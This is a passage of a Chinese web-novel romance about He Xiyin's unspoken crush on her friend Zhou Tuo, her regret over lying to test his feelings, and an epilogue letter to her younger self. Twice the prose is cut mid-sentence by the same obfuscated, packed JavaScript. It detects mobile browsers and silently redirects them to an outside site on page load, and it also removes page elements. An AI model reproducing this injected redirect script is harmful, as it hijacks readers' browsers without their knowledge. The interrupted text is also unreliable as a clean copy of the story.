寒假,北方学校放假要晚一些,夏宜大学又开学早,再扣除过年陪同家人的时间,两人没有多少时间能见面。周拓说他考了驾照,问何希音要不要出去兜风。何希音婉拒,说要和乔喻出去。周拓回了‘哦’。只有一个平淡的‘哦’。再没有了! 何希音挠头,抓头发,无比懊悔进行这个蠢测试,测试一旦开始,她就特别想要一个结果,而且这个答案必须是她想要的那个,只要出现一点偏差,她就会特别抓狂! 这刻,她深深体会到暗恋的痛苦。 暗恋一个人是很痛苦的。 尤其是这种相识多年,特别熟悉的朋友。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323638|166246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果她暗恋的是乔喻,可能就直接开口问了,闹掰就闹掰,下个会更乖。但周拓不一样,两人的父母都认识,有着十几年的友谊,若是因为一句话就弄得彼此尴尬连朋友也没得做,真的太亏了。 可恶的周拓。 何希音躺在床上,恨得咬牙切齿,希望她的每个辗转难眠的夜晚,周拓也一样痛苦。 — 寒假结束那天,何希音和高中室友聚会到半夜,她打车回来,进入小区,迎面碰上周拓。 现在是午夜十二点。 周拓独自坐在小区的长凳上。穿着运动服,手拿着个运动水壶在喝,前额碎发汗涔涔的,仔细瞧背后也润湿了一片。 “周拓?” “这么晚了,你坐在这干嘛?” “夜跑回来。”周拓喝水,抓起衣领擦了擦脸上的汗,“睡不着,换运动服下来跑几圈。你呢?和徐子欣她们聚会结束了?” “嗯。后天就要开学了。抓紧时间聚会一次。”出门前,何希音撒谎说乔喻会去,她怕周拓问,与其等着被问露出马脚,不如主动提,“乔喻有事。没来。” “嗯。”周拓耸肩。 “那我回家啦。很晚啦。你也早点回去休息吧。” “何希音。” “嗯?” “以后乔喻的事不用和我说了。” “你不高兴了?”何希音眼里闪过一丝惊喜,陈以琳说过他会生气就代表吃醋了。然而下一秒周拓的话就把她浇了个透心凉。 周拓说:“没有。我和他不熟。对他的事没兴趣。” “你和他的事不需要试试向我汇报。” 何希音像被踩了尾巴的猫咪,尖锐的声音带着利刺:“谁向你汇报了。” “那就别提他。” “不提就不提。”何希音愤愤不平,“说得好像我多爱提一样。” “希音。” “干嘛啦!” “晚安。” “安。” 此后,何希音再没提过乔喻,也再没‘测试’过周拓。因为这次不知道算不算争吵的争吵,两人联系的频率急速下降。 何希音忙于学业,不去在意这个问题。 但陈以琳注意到了,她抓住机会问:“他最近没给你寄东西啊?” “哪能天天寄。”何希音指着窗外飘过的一朵云,“你看那个像什么?” “像愁云。”陈以琳并不打算绕过这个话题,“你们怎么了?吵架了?最近很少听你提他了。” 何希音撇嘴:“这学期专业课超多,要背的东西超多,我社团那边也很多事啊,谁还有空关心这些。” 陈以琳凑近,在她身上闻,像只小狗。 “你干嘛呢?” “不对劲。不对劲。你不对劲。” 高慧婷在阳台晾衣服,两人的对话听了个七七八八,忍不住插嘴:“希音。你别听她的。她又不认识他。每个人的情况不同,你按你的想法去做,顺其自然就好。如果对方喜欢你,感受到你的心意,肯定会主动的。” 高慧婷这句话更是扎心。 等周拓这块木头开窍那真是比赤道下雪还难。何希音已经放弃了。被迫放弃。反正她没勇气戳破,那就顺其自然吧。 她摊手:“是的。我决定随缘。” — 大三国庆,宿舍计划出游,几人用抽签的形式决定目的地。 陈以琳抽中京北市:“希音。是他在的城市哎。你要去找他吗?” “呃。算了吧。”何希音婉拒,“反正寒暑假回家就能见面。这次是我们去旅游呢。” 何希音当然不会带着室友去找周拓,那样太奇怪了,也会吓到周拓吧。可动车抵达京北市的那刻,她第一个想到的就是周拓。 去年五一周拓回夏宜市,就来学校找她了。两人在学校逛了逛,他送了她一个限定手办。京北市的漫展上有她喜欢的动漫参展,周拓去排队买了手办。 何希音问:“你排很久吧?” 周拓说:“还好。展会在我们学校附近。下课去的。没有很久。” “真羡慕你啊。好多快闪店都在你那。我也想去。” 其实,何希音说这句,是想听他邀请她去京北找他。但他没有,只是轻轻‘嗯’了声,说有需要告诉他,他可以帮她买手办。 周拓不善交际,有些迟钝。所以何希音觉得他想不到这些话里的弯弯绕绕。 可他是如此聪明,最先注意到她的小情绪。所以她又会想,他不是不懂,是不想懂。 暗恋让人纠结,让人迷惑,又让人喜悦。 每个周拓想着她的瞬间都能让何希音高兴好久好久。 既然都到京北了,她决定去找他,给他一个惊喜,就像一年前,他突然出现在夏宜大学门口那样。 旅途的最后一天,室友们要去逛街购物,何希音推辞,说她想去附近的公园走走。 她刷卡,乘上去往京大的公交 在车上,她给周拓发信息。 [希希大王]:你在干嘛? [Tz]:在广州参加一个创业竞赛 何希音震惊。 [希希大王]:现在吗? [Tz]:是啊,整个团队一起来的 [Tz]:照片.jpg 他真的在广州。 她划开周拓的朋友圈,他的朋友圈东西很少,只有寥寥几条,有些是转载的校园新闻,有些是参加的竞赛照片,无论是哪些,都离何希音很远了。两人之间从未断联,寒暑假还是会约着去玩,但关系再也回不到从前。 从她开始撒谎以后。 从她开始测试周拓以后。 从她暗恋周拓以后。 一切都不一样了。 她想要一个答案,验证的过程却把他推得更远。 何希音的眼角滑落一滴泪水。 她想起一句话—— “用谎言去验证得到的只会是谎言。” 如果时间能倒流,她绝对不会撒谎,绝对不要用这种方式去验证周拓的心意。 24. 后记 十七岁的何希音你好, 我是二十三岁的何希音。 谢谢你在清晨早起背单词,谢谢你掉着眼泪也不忘诵读知识卡,谢谢你在每个想要放弃的瞬间都选择坚持下去。 谢谢你持续不断的努力。 我考上了我们理想的夏宜大学法律系。 你辛苦攒钱买的钱包退役了。没有坏,但现在是电子支付的时代,已经很少使用现金了。我偶尔会带钱包出门,每次路过校门口的甜品摊,都会祈祷钱包里刚好有八块钱,这样可以买两杯绿豆冰。一杯给我,一杯给你。我们一起坐在操场边,聊聊最近的生活。 大学四年,学习依旧辛苦,要背的东西很多,要学习的案例也很多。但我过得非常开心,每个周末我都和室友去法院旁听(ps:她人超级好!)。 我参加了模联和辩论社,代表学校出战全国大学生辩论大会,被虐得很惨,还好认识了很多新朋友,他们安慰我,鼓励我,和我一起写稿,一起上台,一起被虐,一起哭泣,一起欢笑,一起拿奖。 对了,我还上了电视呢!化了超漂亮的妆,迷晕周拓这只狗。噢。你还是喜欢他。你们在一起了。 如果有时光机能让我去找你,我只想告诉你“不要撒谎”。 十七岁的夏天,你撒了一个弥天大谎,而后的每一天,你都在为这个谎言难过纠结,还好他帮你圆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15330248|166246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谎了。 但人生很长,不是每个谎言都有周拓替你圆谎。 我希望你能诚实地面对自己,坦然接受每一个结果。 这句话说给你,也告诫我自己。 今年,最令我高兴的是—— 我!拿!到!了!心!仪!律!所!的!实!习!机!会! 我真的成为一名律师了。 毕业答辩那天,导师问我以后想成为一名什么样的律师。 你知道我的答案对吗? 我想成为一名正直的律师。 我不会抛下十七岁的你,我会带着你的热血和天真奔向未来,我们一起努力成为一名正直的大人吧!